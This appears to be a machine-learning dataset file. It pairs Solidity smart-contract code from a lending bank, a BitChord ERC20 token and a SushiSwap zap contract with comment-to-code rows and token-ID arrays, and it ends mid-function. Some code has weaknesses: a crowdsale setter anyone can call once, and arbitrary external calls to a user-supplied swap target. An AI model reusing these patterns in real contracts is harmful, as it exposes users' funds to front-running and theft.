uint256 feeAmount = amount / 200; // Bank Factory collects 0.5% fee
require(IERC20(collateral.tokenAddress).transfer(msg.sender, amount - feeAmount));
require(IERC20(collateral.tokenAddress).transfer(_bankFactoryOwner, feeAmount));
reserve.collateralBalance -= amount;
emit ReserveWithdraw(collateral.tokenAddress, amount);
}
/**
* @dev Use this function to get and update the price for the collateral token
* using the Tellor Oracle.
*/
function updateCollateralPrice() external {
bool ifRetrieve;
(ifRetrieve, collateral.price, collateral.lastUpdatedAt) = getCurrentValue(collateral.tellorRequestId); //,now - 1 hours);
emit PriceUpdate(collateral.tokenAddress, collateral.price);
}
/**
* @dev Use this function to get and update the price for the debt token
* using the Tellor Oracle.
*/
function updateDebtPrice() external {
bool ifRetrieve;
(ifRetrieve, debt.price, debt.lastUpdatedAt) = getCurrentValue(debt.tellorRequestId); //,now - 1 hours);
emit PriceUpdate(debt.tokenAddress, debt.price);
}
/**
* @dev Anyone can use this function to liquidate a vault's debt,
* the bank admins gets the collateral liquidated, liquidated collateral
* is charged a 10% fee which gets paid to the bankFactoryOwner
* @param vaultOwner is the user the bank admins wants to liquidate
*/
function liquidate(address vaultOwner) external {
// Require undercollateralization
require(getVaultCollateralizationRatio(vaultOwner) < reserve.collateralizationRatio * 100, "VAULT NOT UNDERCOLLATERALIZED");
uint256 debtOwned = vaults[vaultOwner].debtAmount + (vaults[vaultOwner].debtAmount * 100 * reserve.liquidationPenalty / 100 / 100);
uint256 collateralToLiquidate = debtOwned * debt.price / collateral.price;
if(collateralToLiquidate > vaults[vaultOwner].collateralAmount) {
collateralToLiquidate = vaults[vaultOwner].collateralAmount;
}
uint256 feeAmount = collateralToLiquidate / 10; // Bank Factory collects 10% fee
require(IERC20(collateral.tokenAddress).transfer(_bankFactoryOwner, feeAmount));
reserve.collateralBalance += collateralToLiquidate - feeAmount;
vaults[vaultOwner].collateralAmount -= collateralToLiquidate;
reserve.debtBalance += vaults[vaultOwner].debtAmount;
vaults[vaultOwner].debtAmount = 0;
emit Liquidation(vaultOwner, debtOwned);
}
/**
* @dev Use this function to allow users to deposit collateral to the vault
* @param amount is the collateral amount
*/
function vaultDeposit(uint256 amount) external {
require(IERC20(collateral.tokenAddress).transferFrom(msg.sender, address(this), amount));
vaults[msg.sender].collateralAmount += amount;
emit VaultDeposit(msg.sender, amount);
}
/**
* @dev Use this function to allow users to borrow against their collateral
* @param amount to borrow
*/
function vaultBorrow(uint256 amount) external {
if (vaults[msg.sender].debtAmount != 0) {
vaults[msg.sender].debtAmount = getVaultRepayAmount();
}
uint256 maxBorrow = vaults[msg.sender].collateralAmount * collateral.price / debt.price / reserve.collateralizationRatio * 100;
maxBorrow *= debt.priceGranularity;
maxBorrow /= collateral.priceGranularity;
maxBorrow -= vaults[msg.sender].debtAmount;
require(amount < maxBorrow, "NOT ENOUGH COLLATERAL");
require(amount <= reserve.debtBalance, "NOT ENOUGH RESERVES");
vaults[msg.sender].debtAmount += amount + ((amount * reserve.originationFee) / 10000);
if (block.timestamp - vaults[msg.sender].createdAt > reserve.period) {
// Only adjust if more than 1 interest rate period has past
vaults[msg.sender].createdAt = block.timestamp;
}
reserve.debtBalance -= amount;
require(IERC20(debt.tokenAddress).transfer(msg.sender, amount));
emit VaultBorrow(msg.sender, amount);
}
/**
* @dev This function allows users to pay the interest and origination fee to the
* vault before being able to withdraw
* @param amount owed
*/
function vaultRepay(uint256 amount) external {
vaults[msg.sender].debtAmount = getVaultRepayAmount();
require(amount <= vaults[msg.sender].debtAmount, "CANNOT REPAY MORE THAN OWED");
require(IERC20(debt.tokenAddress).transferFrom(msg.sender, address(this), amount));
vaults[msg.sender].debtAmount -= amount;
reserve.debtBalance += amount;
uint256 periodsElapsed = (block.timestamp / reserve.period) - (vaults[msg.sender].createdAt / reserve.period);
vaults[msg.sender].createdAt += periodsElapsed * reserve.period;
emit VaultRepay(msg.sender, amount);
}
/**
* @dev Allows users to withdraw their collateral from the vault
* @param amount withdrawn
*/
function vaultWithdraw(uint256 amount) external {
uint256 maxBorrowAfterWithdraw = (vaults[msg.sender].collateralAmount - amount) * collateral.price / debt.price / reserve.collateralizationRatio * 100;
maxBorrowAfterWithdraw *= debt.priceGranularity;
maxBorrowAfterWithdraw /= collateral.priceGranularity;
require(vaults[msg.sender].debtAmount <= maxBorrowAfterWithdraw, "CANNOT UNDERCOLLATERALIZE VAULT");
require(IERC20(collateral.tokenAddress).transfer(msg.sender, amount));
vaults[msg.sender].collateralAmount -= amount;
reserve.collateralBalance -= amount;
emit VaultWithdraw(msg.sender, amount);
}
function getBankFactoryOwner() public view returns (address) {
return _bankFactoryOwner;
}
function setBankFactoryOwner(address newOwner) external {
require(_bankFactoryOwner == msg.sender, "IS NOT BANK FACTORY OWNER");
_bankFactoryOwner = newOwner;
}
}
| Bank Factory collects 0.5% fee
| uint256 feeAmount = amount / 200; | 2,496,105 | [
1,
16040,
7822,
30976,
374,
18,
25,
9,
14036,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
14036,
6275,
273,
3844,
342,
4044,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
uint public constant STAGE_3_FINISH = 1535414340;
function isTransferLocked() public view returns (bool) {
if(now > STAGE_3_FINISH){
return false;
}
return true;
}
address public crowdsaleContract;
function setCrowdsaleContract(address _address) public {
require (crowdsaleContract == address(0));
crowdsaleContract = _address;
balanceOf[crowdsaleContract] = 67100000 * 10 ** uint256(decimals);
emit Transfer(address(this),crowdsaleContract, 67100000 * 10 ** uint256(decimals));
}
address public tokenHolderAddress = 0x44066Bc24c6DcC6ABA1bDef17e447ED2dC9DE967;
function TokenERC20() public {
totalSupply = 110000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[tokenHolderAddress] = 42900000 * 10 ** uint256(decimals); // Give the creator all initial tokens
name = "BitChord"; // Set the name for display purposes
symbol = "BCD"; // Set the symbol for display purposes
emit Transfer(address(this), tokenHolderAddress, 42900000 * 10 ** uint256(decimals));
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
require (!isTransferLocked() || msg.sender == crowdsaleContract || msg.sender == tokenHolderAddress);
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (!isTransferLocked() || _from == crowdsaleContract || _from == tokenHolderAddress);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
require (!isTransferLocked());
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | Set the symbol for display purposes
| symbol = "BCD"; | 10,289,327 | [
1,
694,
326,
3273,
364,
2562,
13694,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
3273,
273,
315,
38,
10160,
14432,
27573,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/// SPDX-License-Identifier: MIT
/*
▄▄█ ▄ ██ █▄▄▄▄ ▄█
██ █ █ █ █ ▄▀ ██
██ ██ █ █▄▄█ █▀▀▌ ██
▐█ █ █ █ █ █ █ █ ▐█
▐ █ █ █ █ █ ▐
█ ██ █ ▀
▀ */
/// 🦊🌾 Special thanks to Keno / Boring / Gonpachi / Karbon for review and continued inspiration.
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// @notice A library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math).
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
/// @notice Interface for depositing into and withdrawing from Aave lending pool.
interface IAaveBridge {
function UNDERLYING_ASSET_ADDRESS() external view returns (address);
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external;
function withdraw(
address token,
uint256 amount,
address destination
) external;
}
/// @notice Interface for depositing into and withdrawing from BentoBox vault.
interface IBentoBridge {
function registerProtocol() external;
function setMasterContractApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external;
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
/// @notice Interface for depositing into and withdrawing from Compound finance protocol.
interface ICompoundBridge {
function underlying() external view returns (address);
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
}
/// @notice Interface for Dai Stablecoin (DAI) `permit()` primitive.
interface IDaiPermit {
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
/// @notice Interface for depositing into and withdrawing from SushiBar.
interface ISushiBarBridge {
function enter(uint256 amount) external;
function leave(uint256 share) external;
}
/// @notice Interface for SushiSwap.
interface ISushiSwap {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
// File @boringcrypto/boring-solidity/contracts/interfaces/[email protected]
/// License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
/// License-Identifier: MIT
library BoringERC20 {
bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol()
bytes4 private constant SIG_NAME = 0x06fdde03; // name()
bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals()
bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256)
bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256)
/// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransfer(
IERC20 token,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed");
}
/// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param from Transfer tokens from.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed");
}
}
// File @boringcrypto/boring-solidity/contracts/[email protected]
/// License-Identifier: MIT
contract BaseBoringBatchable {
/// @dev Helper function to extract a useful revert message from a failed call.
/// If the returned data is malformed or not correctly abi encoded then this call can fail itself.
function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return "Transaction reverted silently";
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
/// @notice Allows batched call to self (this contract).
/// @param calls An array of inputs for each call.
/// @param revertOnFail If True then reverts after a failed call and stops doing further calls.
/// @return successes An array indicating the success of a call, mapped one-to-one to `calls`.
/// @return results An array with the returned data of each function call, mapped one-to-one to `calls`.
// F1: External is ok here because this is the batch function, adding it to a batch makes no sense
// F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value
// C3: The length of the loop is fully under user control, so can't be exploited
// C7: Delegatecall is only used on the same contract, so it's safe
function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) {
successes = new bool[](calls.length);
results = new bytes[](calls.length);
for (uint256 i = 0; i < calls.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(calls[i]);
require(success || !revertOnFail, _getRevertMsg(result));
successes[i] = success;
results[i] = result;
}
}
}
/// @notice Extends `BoringBatchable` with DAI `permit()`.
contract BoringBatchableWithDai is BaseBoringBatchable {
IDaiPermit constant dai = IDaiPermit(0x6B175474E89094C44Da98b954EedeAC495271d0F); // DAI token contract
/// @notice Call wrapper that performs `ERC20.permit` on `dai` using EIP 2612 primitive.
/// Lookup `IDaiPermit.permit`.
function permitDai(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) public {
dai.permit(holder, spender, nonce, expiry, allowed, v, r, s);
}
/// @notice Call wrapper that performs `ERC20.permit` on `token`.
/// Lookup `IERC20.permit`.
// F6: Parameters can be used front-run the permit and the user's permit will fail (due to nonce or other revert)
// if part of a batch this could be used to grief once as the second call would not need the permit
function permitToken(
IERC20 token,
address from,
address to,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public {
token.permit(from, to, amount, deadline, v, r, s);
}
}
/// @notice Babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method).
library Babylonian {
function sqrt(uint y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
/// @notice Interface for SushiSwap liquidity zaps based on awesomeness from zapper.fi (0xcff6eF0B9916682B37D80c19cFF8949bc1886bC2).
interface ISushiLiquidityZap {
function token0() external pure returns (address);
function token1() external pure returns (address);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function burn(address to) external returns (uint amount0, uint amount1);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
/// @notice SushiSwap liquidity zaps based on awesomeness from zapper.fi (0xcff6eF0B9916682B37D80c19cFF8949bc1886bC2).
contract Sushiswap_ZapIn_General_V3 {
using SafeMath for uint256;
using BoringERC20 for IERC20;
address constant sushiSwapFactory = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac; // SushiSwap factory contract
ISushiLiquidityZap constant sushiSwapRouter = ISushiLiquidityZap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // SushiSwap router contract
uint256 constant deadline = 0xf000000000000000000000000000000000000000000000000000000000000000;
bytes32 constant pairCodeHash = 0xe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303; // SushiSwap pair code hash
event ZapIn(address sender, address pool, uint256 tokensRec);
/**
@notice This function is used to invest in given SushiSwap pair through ETH/ERC20 Tokens.
@param to Address to receive LP tokens.
@param _FromTokenContractAddress The ERC20 token used for investment (address(0x00) if ether).
@param _pairAddress The SushiSwap pair address.
@param _amount The amount of fromToken to invest.
@param _minPoolTokens Reverts if less tokens received than this.
@param _swapTarget Excecution target for the first swap.
@param swapData Dex quote data.
@return Amount of LP bought.
*/
function zapIn(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, 'ERR: High Slippage');
emit ZapIn(to, _pairAddress, LPBought);
IERC20(_pairAddress).safeTransfer(to, LPBought);
return LPBought;
}
function _getPairTokens(address _pairAddress) internal pure returns (address token0, address token1)
{
ISushiLiquidityZap sushiPair = ISushiLiquidityZap(_pairAddress);
token0 = sushiPair.token0();
token1 = sushiPair.token1();
}
function _pullTokens(address token, uint256 amount) internal returns (uint256 value) {
if (token == address(0)) {
require(msg.value > 0, 'No eth sent');
return msg.value;
}
require(amount > 0, 'Invalid token amount');
require(msg.value == 0, 'Eth sent with token');
// transfer token
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
return amount;
}
function _performZapIn(
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
address _swapTarget,
bytes memory swapData
) internal returns (uint256) {
uint256 intermediateAmt;
address intermediateToken;
(
address _ToSushipoolToken0,
address _ToSushipoolToken1
) = _getPairTokens(_pairAddress);
if (
_FromTokenContractAddress != _ToSushipoolToken0 &&
_FromTokenContractAddress != _ToSushipoolToken1
) {
// swap to intermediate
(intermediateAmt, intermediateToken) = _fillQuote(
_FromTokenContractAddress,
_pairAddress,
_amount,
_swapTarget,
swapData
);
} else {
intermediateToken = _FromTokenContractAddress;
intermediateAmt = _amount;
}
// divide intermediate into appropriate amount to add liquidity
(uint256 token0Bought, uint256 token1Bought) = _swapIntermediate(
intermediateToken,
_ToSushipoolToken0,
_ToSushipoolToken1,
intermediateAmt
);
return
_sushiDeposit(
_ToSushipoolToken0,
_ToSushipoolToken1,
token0Bought,
token1Bought
);
}
function _sushiDeposit(
address _ToUnipoolToken0,
address _ToUnipoolToken1,
uint256 token0Bought,
uint256 token1Bought
) internal returns (uint256) {
IERC20(_ToUnipoolToken0).approve(address(sushiSwapRouter), 0);
IERC20(_ToUnipoolToken1).approve(address(sushiSwapRouter), 0);
IERC20(_ToUnipoolToken0).approve(
address(sushiSwapRouter),
token0Bought
);
IERC20(_ToUnipoolToken1).approve(
address(sushiSwapRouter),
token1Bought
);
(uint256 amountA, uint256 amountB, uint256 LP) = sushiSwapRouter
.addLiquidity(
_ToUnipoolToken0,
_ToUnipoolToken1,
token0Bought,
token1Bought,
1,
1,
address(this),
deadline
);
// returning residue in token0, if any
if (token0Bought.sub(amountA) > 0) {
IERC20(_ToUnipoolToken0).safeTransfer(
msg.sender,
token0Bought.sub(amountA)
);
}
// returning residue in token1, if any
if (token1Bought.sub(amountB) > 0) {
IERC20(_ToUnipoolToken1).safeTransfer(
msg.sender,
token1Bought.sub(amountB)
);
}
return LP;
}
function _fillQuote(
address _fromTokenAddress,
address _pairAddress,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) internal returns (uint256 amountBought, address intermediateToken) {
uint256 valueToSend;
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
IERC20 fromToken = IERC20(_fromTokenAddress);
fromToken.approve(address(_swapTarget), 0);
fromToken.approve(address(_swapTarget), _amount);
}
(address _token0, address _token1) = _getPairTokens(_pairAddress);
IERC20 token0 = IERC20(_token0);
IERC20 token1 = IERC20(_token1);
uint256 initialBalance0 = token0.balanceOf(address(this));
uint256 initialBalance1 = token1.balanceOf(address(this));
(bool success, ) = _swapTarget.call{value: valueToSend}(swapCallData);
require(success, 'Error Swapping Tokens 1');
uint256 finalBalance0 = token0.balanceOf(address(this)).sub(
initialBalance0
);
uint256 finalBalance1 = token1.balanceOf(address(this)).sub(
initialBalance1
);
if (finalBalance0 > finalBalance1) {
amountBought = finalBalance0;
